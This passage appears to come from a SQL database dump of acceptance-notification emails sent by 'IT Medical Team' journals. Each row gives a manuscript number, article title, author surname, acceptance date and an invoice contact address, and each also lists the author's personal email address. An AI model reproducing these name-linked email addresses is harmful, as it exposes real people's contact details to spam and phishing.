/>\r\n            <br />\r\n            It is accepted on  <b>2023-04-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hyphatya@hotmail.es',13652,'2023-04-27',48),(4208,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13735</b><br />\r\n            <br />\r\n            Article Title: <b>Design and Evaluation of Artocarpus heterophyllus Incorporated Herbal Effervescent Granules</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-05-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','shahy1710@gmail.com',13735,'2023-05-02',376),(4209,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13741</b><br />\r\n            <br />\r\n            Article Title: <b>Process Variable Studies for the Preparation of Optimized Drug Delivery System Using Central Composite Design</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chauhan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-05-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ashishchauhan2054@gmail.com',13741,'2023-05-04',376),(4210,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-23-13726</b><br />\r\n            <br />\r\n            Article Title: <b>Cortical Gray Matter Structural Changes in Obese on 3T MRI</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Baek</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-05-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hmbaek98@gachon.ac.kr',13726,'2023-05-06',85),(4211,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13742</b><br />\r\n            <br />\r\n            Article Title: <b>Blood Arsenic contamination causing Breast Cancer Risk in Exposed Population of Bihar</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kumar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-05-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drarunk31@gmail.com',13742,'2023-05-17',48),(4212,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13763</b><br />\r\n            <br />\r\n            Article Title: <b>The Effect and Perspective of Applied Medical Science College Students on E-learning in Umm Al-Qura University in 2021.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ali</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-05-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ahghamdi2@gmail.com',13763,'2023-05-18',48),(4213,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13773</b><br />\r\n            <br />\r\n            Article Title: <b>Formulation and Evaluation of Microsponges Loaded Topical Gel for Treatment of Acne Vulgaris</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ghorpade</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-05-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dikshaghorpade99@gmail.com',13773,'2023-05-25',376),(4214,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13760</b><br />\r\n            <br />\r\n            Article Title: <b>INVIVO AND INVITRO STUDIES ON CHEMOPROTECTIVE EFFICACY OF RESVERATROL IN BREAST CANCER</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>M</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-05-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','machavaramsrisudha@gmail.com',13760,'2023-05-25',48),(4215,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13798</b><br />\r\n            <br />\r\n            Article Title: <b>COMPLEXATION, CHARACTERIZATION, AND TOXICOLOGY STUDIES OF THE CRUDE EXTRACT OF ANACARDIUM OCCIDENTALE LEAVES AND ITS COPPER (II) COMPLEX</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Folasade O</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-06-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','foajao@lautech.edu.ng',13798,'2023-06-15',376),(4216,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13853</b><br />\r\n            <br />\r\n            Article Title: <b>PRIMARY NON-HODGKING LYMPHOMA OF COLEDOCO, WHICH SIMULATES CHOLANGIOCARCINOMA DIAGNOSED BY ENDOSCOPIC ULTRASONOGRAPHY: CASE REPORT AND LITERATURE REVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sierra Arango</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-06-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','J.farakg10@curnvirtual.edu.co',13853,'2023-06-28',48),(4217,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13953</b><br />\r\n            <br />\r\n            Article Title: <b>Life constraints and self- management strategies of older people living with chronic illness. A qualitative study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Vasilopoulos</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-07-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','gvasilop@uniwa.gr',13953,'2023-07-25',48),(4218,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13898</b><br />\r\n            <br />\r\n            Article Title: <b>AWARENESS, ATTITUDE AND KNOWLEDGE OF COLORECTAL CANCER (CRC) IN SAUDI ARABIA: A SYSTEMATIC REVIEW STUDY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>A.MILIBARI.</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-07-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Boringmonth@gmail.com',13898,'2023-07-27',48),(4219,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13967</b><br />\r\n            <br />\r\n            Article Title: <b>Determinants of neonatal near-miss among neonates of postnatal women in north Wollo hospitals, northern Ethiopia, 2022.  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alamrew</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-08-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','abebawalamrew04@gmail.com',13967,'2023-08-01',48),(4220,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-23-13971</b><br />\r\n            <br />\r\n            Article Title: <b>Case Report: Guillain&acirc;&euro;Barre Syndrome presentation Mimicking Stroke; An atypical presentation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mairaj</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','samar.iltaf79@gmail.com',13971,'2023-08-08',75),(4221,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-23-13971</b><br />\r\n            <br />\r\n            Article Title: <b>Case Report: Guillain&acirc;&euro;&ldquo;Barre Syndrome presentation Mimicking Stroke; An atypical presentation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mairaj</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-08-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','samar.iltaf79@gmail.com',13971,'2023-08-14',75),(4222,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14021</b><br />\r\n            <br />\r\n            Article Title: <b>Has the COVID-19 pandemic impacted the food consumption of people with chronic diseases?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Nobre</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-08-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','luciana.nobre@ufvjm.edu.br',14021,'2023-08-17',48),(4223,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13987</b><br />\r\n            <br />\r\n            Article Title: <b>.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sarpkaya G&Atilde;&frac14;der</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-08-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dilek.sarpkaya@neu.edu.tr',13987,'2023-08-17',48),(4224,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-23-14029</b><br />\r\n            <br />\r\n            Article Title: <b>Effectiveness in the Preventive Management of Malnutrition in Under-Fives by Mothers and Care-Givers in the Azire Health area in North-West Cameroon</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>FONYUY</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-08-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a 